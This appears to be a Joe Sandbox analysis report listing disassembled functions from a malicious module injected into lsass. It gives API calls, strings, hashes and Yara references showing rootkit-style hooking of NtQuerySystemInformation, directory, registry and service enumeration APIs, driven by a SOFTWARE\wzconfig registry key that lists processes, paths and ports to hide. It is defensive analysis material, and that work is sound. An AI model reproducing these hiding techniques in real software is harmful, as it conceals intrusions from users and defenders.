API ID: Heap$Process$AllocFree
String ID: S
API String ID: 756756679-543223747
Opcode ID: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction ID: e6d9cf65a4925b5213f365f011728b373076181cb707664ce8a93ec19c3e99b5
Opcode Fuzzy Hash: 2c414ab3eb2c8f5067fa8ace7f17c5c48379fbe6073c257fbef930be96b73639
Instruction Fuzzy Hash: DA519E36A15F2886E761CB25F840BEA6BB4FB14784F89C415DF0D52B86DB75C89BC340

Function 0000017D2DD51A48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000017D2DD51A68
StrCmpNIW.SHLWAPI ref: 0000017D2DD51A82
lstrlenW.KERNEL32 ref: 0000017D2DD51A91
StrCpyW.SHLWAPI ref: 0000017D2DD51AA6

Strings

\\?\, xrefs: 0000017D2DD51A76

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction ID: eb8ddd73c4e15f21de66f0e3dee770b919fdf917898f85856a439deb2b5aeb72
Opcode Fuzzy Hash: 5d436592c77a9924c69bcb50891f68179583d79dfa63631e028aef339bed858e
Instruction Fuzzy Hash: 27F0A432308B8892E7308F61F4947996770FB54B88F8C4020CA4D42556DF7CC6CACB80

Function 0000017D2DD532A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000017D2DD532C2
PathFindFileNameW.SHLWAPI ref: 0000017D2DD532D1

Part of subcall function 0000017D2DD53858: StrCmpNIW.SHLWAPI ref: 0000017D2DD53870

Part of subcall function 0000017D2DD537A4: GetModuleHandleW.KERNEL32 ref: 0000017D2DD537B2
Part of subcall function 0000017D2DD537A4: GetCurrentProcess.KERNEL32 ref: 0000017D2DD537E0
Part of subcall function 0000017D2DD537A4: VirtualProtectEx.KERNEL32 ref: 0000017D2DD53802
Part of subcall function 0000017D2DD537A4: GetCurrentProcess.KERNEL32 ref: 0000017D2DD5381D
Part of subcall function 0000017D2DD537A4: VirtualProtectEx.KERNEL32 ref: 0000017D2DD5383E

CreateThread.KERNEL32 ref: 0000017D2DD5331F

Part of subcall function 0000017D2DD51D1C: GetCurrentThread.KERNEL32 ref: 0000017D2DD51D27

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: bd096dc74ed7da0d1c9fed95bed7b3375edca248b29cd9ab8204d1ef912baf82
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: 43118070B1CF8D83F7649B60B8093D966B4AF54745F0C8069A98E851A3EFB8C0C7C280

Function 0000017D2DD51AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000017D2DD51630: GetProcessHeap.KERNEL32 ref: 0000017D2DD5163B
Part of subcall function 0000017D2DD51630: HeapAlloc.KERNEL32 ref: 0000017D2DD5164A
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD516BA
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD516E7
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD51701
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51721
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD5173C
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5175C
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD51777
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51797
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD517B2
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517D2

Sleep.KERNEL32 ref: 0000017D2DD51ADF
SleepEx.KERNELBASE ref: 0000017D2DD51AE5

Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD517ED
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5180D
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD51828
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51848
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD51863
Part of subcall function 0000017D2DD51630: RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51883
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD5189E
Part of subcall function 0000017D2DD51630: RegCloseKey.ADVAPI32 ref: 0000017D2DD518A8

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: 570d7ab51c8e0b07d291cac90dfff41aaf335325977e64992ebdfe4135924a30
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: AB31D675219F0982FF50AB22F9413E933B4AF85BC0F1C58219E0E876D7EEA4D8D38251

Function 0000017D2DD22750 Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000017D2DD22872

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 39426c26ca32ae400772b24e4e950172d55683279c8d6bef7303a10b684e0d04
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7D61F232B09B9487DB548F15A4447ADBBB2FB44BA4F5C8121AE1D0778FDA38D893C710

Non-executed Functions

Function 0000017D2DD52B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000017D2DD52BE4
lstrlenW.KERNEL32 ref: 0000017D2DD52E1E

Part of subcall function 0000017D2DD519A4: OpenProcess.KERNEL32 ref: 0000017D2DD519CA
Part of subcall function 0000017D2DD519A4: K32GetModuleFileNameExW.KERNEL32 ref: 0000017D2DD519E8
Part of subcall function 0000017D2DD519A4: PathFindFileNameW.SHLWAPI ref: 0000017D2DD519F7
Part of subcall function 0000017D2DD519A4: lstrlenW.KERNEL32 ref: 0000017D2DD51A03
Part of subcall function 0000017D2DD519A4: StrCpyW.SHLWAPI ref: 0000017D2DD51A16
Part of subcall function 0000017D2DD519A4: CloseHandle.KERNEL32 ref: 0000017D2DD51A24

GetProcAddress.KERNEL32 ref: 0000017D2DD52BF9

Part of subcall function 0000017D2DD51534: StrCmpIW.SHLWAPI ref: 0000017D2DD51565

Part of subcall function 0000017D2DD53858: StrCmpNIW.SHLWAPI ref: 0000017D2DD53870

StrCmpNIW.SHLWAPI ref: 0000017D2DD52C3C
lstrlenW.KERNEL32 ref: 0000017D2DD52D64

Strings

NtQueryObject, xrefs: 0000017D2DD52BEF
ntdll.dll, xrefs: 0000017D2DD52BDD
\Device\Nsi, xrefs: 0000017D2DD52C2F

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: a0a6aa28ae3149062d712f56b3cd3c4fcddfc72a84a4e799f10804a490fe61e5
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: EBB1A032219F9882EB588F65E4407E96BB4FF44B84F189016DE0D53B96DBB4CCDAC380

Function 0000017D2DD57D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000017D2DD57DAC
RtlCaptureContext.NTDLL ref: 0000017D2DD57DD9
RtlLookupFunctionEntry.NTDLL ref: 0000017D2DD57DF3
RtlVirtualUnwind.NTDLL ref: 0000017D2DD57E34
IsDebuggerPresent.KERNEL32 ref: 0000017D2DD57E88
SetUnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD57EA5
UnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD57EB0

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: ea04d6ab5b21933593bc799dab6d6a7fa590fe32e1eb952a32cd0718e30f53ac
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 79311A76208F849AEB609F60F8407ED7374FB88744F58402ADA4E47B96EF78C5898750

Function 0000017D2DD5D814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000017D2DD5D88D
RtlLookupFunctionEntry.NTDLL ref: 0000017D2DD5D8A5
RtlVirtualUnwind.NTDLL ref: 0000017D2DD5D8E0
IsDebuggerPresent.KERNEL32 ref: 0000017D2DD5D919
SetUnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD5D923
UnhandledExceptionFilter.KERNEL32 ref: 0000017D2DD5D92E

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: 835dc39f46adda6f5433ca3369647d18550c7ca659d1a6783716b3d5dcb44e9b
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: EE312C36218F8496EB608F25F8407DE73B4FB89754F580116EA9D43B9ADF38C596CB40

Function 0000017D2DD51630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD5163B
HeapAlloc.KERNEL32 ref: 0000017D2DD5164A

Part of subcall function 0000017D2DD51268: GetProcessHeap.KERNEL32 ref: 0000017D2DD5126E
Part of subcall function 0000017D2DD51268: HeapAlloc.KERNEL32 ref: 0000017D2DD5127D
Part of subcall function 0000017D2DD51268: GetProcessHeap.KERNEL32 ref: 0000017D2DD51297
Part of subcall function 0000017D2DD51268: HeapAlloc.KERNEL32 ref: 0000017D2DD512A8

RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD516BA
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD516E7
RegCloseKey.ADVAPI32 ref: 0000017D2DD51701
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51721
RegCloseKey.ADVAPI32 ref: 0000017D2DD5173C
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5175C
RegCloseKey.ADVAPI32 ref: 0000017D2DD51777
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51797
RegCloseKey.ADVAPI32 ref: 0000017D2DD517B2
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD517D2
RegCloseKey.ADVAPI32 ref: 0000017D2DD517ED
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD5180D
RegCloseKey.ADVAPI32 ref: 0000017D2DD51828
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51848
RegCloseKey.ADVAPI32 ref: 0000017D2DD51863
RegOpenKeyExW.ADVAPI32 ref: 0000017D2DD51883
RegCloseKey.ADVAPI32 ref: 0000017D2DD5189E
RegCloseKey.ADVAPI32 ref: 0000017D2DD518A8

Part of subcall function 0000017D2DD512BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD51319
Part of subcall function 0000017D2DD512BC: GetProcessHeap.KERNEL32 ref: 0000017D2DD51327
Part of subcall function 0000017D2DD512BC: HeapAlloc.KERNEL32 ref: 0000017D2DD51338
Part of subcall function 0000017D2DD512BC: RegEnumValueW.ADVAPI32 ref: 0000017D2DD51397
Part of subcall function 0000017D2DD512BC: GetProcessHeap.KERNEL32 ref: 0000017D2DD513DF
Part of subcall function 0000017D2DD512BC: HeapAlloc.KERNEL32 ref: 0000017D2DD513ED
Part of subcall function 0000017D2DD512BC: GetProcessHeap.KERNEL32 ref: 0000017D2DD5140A
Part of subcall function 0000017D2DD512BC: HeapFree.KERNEL32 ref: 0000017D2DD51418
Part of subcall function 0000017D2DD512BC: lstrlenW.KERNEL32 ref: 0000017D2DD51421
Part of subcall function 0000017D2DD512BC: GetProcessHeap.KERNEL32 ref: 0000017D2DD5142F
Part of subcall function 0000017D2DD512BC: HeapAlloc.KERNEL32 ref: 0000017D2DD5143D

Strings

paths, xrefs: 0000017D2DD51790
pid, xrefs: 0000017D2DD5171A
service_names, xrefs: 0000017D2DD517CB
tcp_remote, xrefs: 0000017D2DD51841
startup, xrefs: 0000017D2DD516DD
process_names, xrefs: 0000017D2DD51755
tcp_local, xrefs: 0000017D2DD51806
SOFTWARE\wzconfig, xrefs: 0000017D2DD5169A
udp, xrefs: 0000017D2DD5187C

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 5e63b444e4f81cac1bc996d5a412164adaeb3b3d7e52fbd52ab2f007730aeba3
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: 57710B3A318F5985EB209F66F8506D93374FF95B88F481121DA4E47B6ADF74C486C780

Function 0000017D2DD512BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD51319
GetProcessHeap.KERNEL32 ref: 0000017D2DD51327
HeapAlloc.KERNEL32 ref: 0000017D2DD51338
RegEnumValueW.ADVAPI32 ref: 0000017D2DD51397

Part of subcall function 0000017D2DD51534: StrCmpIW.SHLWAPI ref: 0000017D2DD51565

GetProcessHeap.KERNEL32 ref: 0000017D2DD513DF
HeapAlloc.KERNEL32 ref: 0000017D2DD513ED
GetProcessHeap.KERNEL32 ref: 0000017D2DD5140A
HeapFree.KERNEL32 ref: 0000017D2DD51418
lstrlenW.KERNEL32 ref: 0000017D2DD51421
GetProcessHeap.KERNEL32 ref: 0000017D2DD5142F
HeapAlloc.KERNEL32 ref: 0000017D2DD5143D
StrCpyW.SHLWAPI ref: 0000017D2DD5145F
GetProcessHeap.KERNEL32 ref: 0000017D2DD51476
HeapFree.KERNEL32 ref: 0000017D2DD51484

Strings

d, xrefs: 0000017D2DD5135A

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: 33ae801fa1b3165cb9d5bb43ea7dda0d2e83df6727d4b75619c767e92f57e636
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: FD513B36208F8886EB54CF62F54839AB7B5FB89B99F084124DA494775ADF7CC086C780

Function 0000017D2DD51D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000017D2DD51D27

Part of subcall function 0000017D2DD51FDC: GetModuleHandleA.KERNEL32 ref: 0000017D2DD51FF4
Part of subcall function 0000017D2DD51FDC: GetProcAddress.KERNEL32 ref: 0000017D2DD52005

Part of subcall function 0000017D2DD55B40: GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55B7B

Strings

NtResumeThread, xrefs: 0000017D2DD51D6A
NtEnumerateKey, xrefs: 0000017D2DD51DC1
NtQueryDirectoryFileEx, xrefs: 0000017D2DD51DA4
NtDeviceIoControlFile, xrefs: 0000017D2DD51E5E
EnumServicesStatusExW, xrefs: 0000017D2DD51E19, 0000017D2DD51E3A
sechost.dll, xrefs: 0000017D2DD51E41
NtEnumerateValueKey, xrefs: 0000017D2DD51DDE
ntdll.dll, xrefs: 0000017D2DD51D35
NtQuerySystemInformation, xrefs: 0000017D2DD51D4D
EnumServiceGroupW, xrefs: 0000017D2DD51DF8
NtQueryDirectoryFile, xrefs: 0000017D2DD51D87
advapi32.dll, xrefs: 0000017D2DD51DFF, 0000017D2DD51E20

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: b99ff1446e92c8109a6055d4f7fc4468c0205d9dd8ae17204e4a0a833e0fa6a2
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: 53314DB9209F8EA4FA05EB6AF8517D46731AF44398F8C8457940D061679FB892CFC3D0

Function 0000017D2DD5D398 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0000017D2DD5D3A7
FlsGetValue.KERNEL32(?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D3BC
FlsSetValue.KERNEL32(?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D3DD
FlsSetValue.KERNEL32(?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D40A
FlsSetValue.KERNEL32(?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D41B
FlsSetValue.KERNEL32(?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D42C
SetLastError.KERNEL32 ref: 0000017D2DD5D447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D47D
FlsSetValue.KERNEL32(?,?,00000001,0000017D2DD5F23C,?,?,?,?,0000017D2DD5C50F,?,?,?,?,?,0000017D2DD57AC0), ref: 0000017D2DD5D49C

Part of subcall function 0000017D2DD5DC3C: HeapAlloc.KERNEL32 ref: 0000017D2DD5DC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D4C4

Part of subcall function 0000017D2DD5DCB4: HeapFree.KERNEL32 ref: 0000017D2DD5DCCA
Part of subcall function 0000017D2DD5DCB4: GetLastError.KERNEL32 ref: 0000017D2DD5DCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000017D2DD60FDB,?,?,?,0000017D2DD609CC,?,?,?,0000017D2DD5CDBF), ref: 0000017D2DD5D4E6

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: f342d48d64a70e30c132d12ea025a39a7379fc3ada3b3726e1369fe98b1ce1df
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: 49413E3020DF4C82FE58A73579513F92276AF457B4F5C0724E97E4A6DBDEA8A4C34221

Function 0000017D2DD5224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000017D2DD52261
GetCurrentProcessId.KERNEL32 ref: 0000017D2DD5226B

Part of subcall function 0000017D2DD5193C: OpenProcess.KERNEL32 ref: 0000017D2DD5195A
Part of subcall function 0000017D2DD5193C: IsWow64Process.KERNEL32 ref: 0000017D2DD51970
Part of subcall function 0000017D2DD5193C: CloseHandle.KERNEL32 ref: 0000017D2DD5198B

CreateFileW.KERNEL32 ref: 0000017D2DD522C4
WriteFile.KERNEL32 ref: 0000017D2DD522EC
ReadFile.KERNEL32 ref: 0000017D2DD5230B
CloseHandle.KERNEL32 ref: 0000017D2DD52314

Strings

\\.\pipe\wzchildproc64, xrefs: 0000017D2DD52294
\\.\pipe\wzchildproc32, xrefs: 0000017D2DD5229B

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: 25127506bbc582b8b19cf647224e3e32b237d016ff1f39aa22e8fa49ee2c4d4f
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: 86214135618B8883F710CB25F44479977B0FB8A7A5F544215EA5D42BA9CF7CC18ACB80

Function 0000017D2DD29EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000017D2DD29F4C

Part of subcall function 0000017D2DD2AE08: __GetUnwindTryBlock.LIBCMT ref: 0000017D2DD2AE4B
Part of subcall function 0000017D2DD2AE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000017D2DD2AE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017D2DD2A024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017D2DD2A273
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017D2DD2A37F

Strings

csm, xrefs: 0000017D2DD2A047
csm, xrefs: 0000017D2DD29FCD
csm, xrefs: 0000017D2DD29F66

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: f1b2e66ae6bc37b8342484b90d8886f71c9a8eb152aeb9d45bfa4c0d700f0494
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: 6AD18B72608B888AFB609B65A5883DD77B0FB45798F081216EE8D57B9BDB34C5D2C700

Function 0000017D2DD5AAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000017D2DD5AB4C

Part of subcall function 0000017D2DD5BA08: __GetUnwindTryBlock.LIBCMT ref: 0000017D2DD5BA4B
Part of subcall function 0000017D2DD5BA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000017D2DD5BA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000017D2DD5AC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000017D2DD5AE73
std::bad_alloc::bad_alloc.LIBCMT ref: 0000017D2DD5AF7F

Strings

csm, xrefs: 0000017D2DD5AC47
csm, xrefs: 0000017D2DD5ABCD
csm, xrefs: 0000017D2DD5AB66

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: f8fb045fb90e4a2d3b997f1db0de6407844043880da660533e616368e6afbf85
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
